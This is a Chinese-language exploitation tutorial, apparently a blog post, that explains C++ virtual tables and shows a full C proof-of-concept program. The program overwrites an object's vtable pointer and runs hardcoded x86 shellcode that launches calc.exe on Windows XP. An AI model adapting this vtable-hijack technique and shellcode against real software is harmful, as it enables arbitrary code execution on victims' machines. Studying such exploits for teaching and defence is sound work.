本文主要介绍利用C++的虚函数来实现栈溢出漏洞利用

OS: Windows XP SP2, Window 7

Tools:Ollydbg、IDA pro、AsmToE(汇编转机器码)、010Editor、VC6.0、Xcode、Windbg、VS7.0

虚函数

说白了就是多态,跟Java中抽象接口是一个概念,只是表现形式会略有区别。

定义:

  1. C++的成员函数在声明时,若使用virtual修饰,就是虚函数
  2. 一个类中可能有多个虚函数
  3. 虚函数的入口地址被统一保存在虚表(Vtable)中
  4. 对象在使用虚函数时,先通过虚表指针找到虚表,然后从虚表中取出最终的函数入口地址进行调用
  5. 虚表指针保存在对象的内存空间中,紧接着虚表指针的是其他成员变量

E.G:

1
2
3
4
5
6
7
8
9
class TmpClass 
{
public:
char buf[8];
virtual void test()
{
count << "Hello virtual" << endl;
}
}
Object 虚表Vtable 虚函数 virtual function
虚表指针 -》point to virtual function2 virtual function1 function impl 1
其他成员变量 virtual function2 function impl 2

如上,TmpClass中有个虚函数test(),因此在栈中它的布局就是,一个指向vtable的虚表指针以及其他成员变量。

当程序运行时,如果要调用这个test方法,那么就会到栈中找到虚表指针,然后从虚表中匹配这个虚表指针从而定位它的函数实现。

攻击

从上文可以看出,如果对象中的成员变量发生了溢出,那么只要我们能够修改对象的虚表指针或者虚表中的虚函数实现指针,就能让程序定向执行我们的shellcode。

栈布局
局部变量
security_cookie : gs校验码,操作系统用于检测是否有溢出,需要操作系统支持且编译时开启
入栈寄存器
SEH节点
返回地址
函数参数
虚函数表

这上面是函数调用时栈内的布局情况,从下到上为高地址到低地址。

从虚函数的执行逻辑来说,会有两个地址的跳转。

  1. 从虚表指针跳转到虚表
  2. 从虚表跳转到虚函数

因此,如果我们要实行攻击,那么只需要使用自定义的两段地址覆盖掉原始地址即可,其中的一个地址A是指向shellcode的首部或者末尾,这里也是地址B。地址B再指向Shellcode的真正执行代码

攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <windows.h>
#include <stdio.h>
#include <iostream.h>


char shellcode[] =
"\x64\xD8\x42\x00" // 地址B,目前放于Shellcode首部,用于跳转到shellcode的真正起始地址。在这里是当前位置+4。
// 注意,这里的地址B是附带\x00截断符的,对攻击有影响,具体的看文末的TIP模块
// 建议将地址B放在Shellcode的末尾
"\x83\xEC\x50\x33\xDB\x53\x68\x6C\x6C\x20\x20\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x8B\xDC\x53\xB8\x77\x1D\x80\x7C\x8B\xC0\xFF\xD0\x33"
"\xDB\x53"
"\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63"
"\x8B\xC4\x53\x50\xB9"
"\x4D\x11\x86\x7C\xFF\xD1\x33\xDB\x53\xB8\xA2\xCA\x81\x7C\xFF\xD0"
"\x90\x90\x90\x90";

class HelloWorld
{
public:
char buf[200];
virtual void test(void)
{
cout<<"hello world" <<endl;
}
};

HelloWorld overflow, *p;

int main()
{
char* p_vtable;
printf("%p\n", overflow.buf); // 获取类中buf[200]的实际地址,虚表指针的地址为buf-4
p_vtable = overflow.buf - 4;
printf("%p\n", shellcode);

int x = 0x42E1CC;
int lx = x & 0xFF;
int mx = x >> 8&0xFF;
int hx = x >> 16&0xFF;
int first02 = x >> 24 & 0xFF;

printf("0x%x\n", lx);
printf("0x%x\n", mx);
printf("0x%x\n", hx);
printf("0x%x\n", first02);

// 在获取到虚表指针在内存中的实际地址后,我们需要将它指向的内容改为地址B
// 这样就能跳转到Shellcode的首部从而执行二次跳转
p_vtable[0] = lx;
p_vtable[1] = mx;
p_vtable[2] = hx;
p_vtable[3] = first02;
strcpy(overflow.buf, shellcode);

p = &overflow;
p->test();
return 0;
}

运行结果如下:

virtual

可以看到这里就已成功弹出计算器了。

测试代码的Shellcode起始位置是\x83\xEC\x50\x33。\x64\xD8\x42\x00(也就是地址B)指向\x83\xEC\x50\x33

在《0day安全》的书籍中,它把地址B放在Shellcode的末尾,只不过那样的话地址B指向的地址就应该是 addressB - sizeof(shellcode).

TIP:

本文的地址B,是附带00的,也就是说在使用strcpy时复制到00就会截断,而之后到的跳转地址其实是Shellcode在内存中的地址(Shellcode并没有覆盖缓冲区),也就是说,如果本文的input是个txt文件,那么本次的攻击就会失败。因为读到00时就已中断了,后面的shellcode根本就没有读入到内存,也就无法跳转。

在本文的示例中,之所以能成功,是因为shellcode是代码的一个局部变量,程序创建时它就已经在内存中了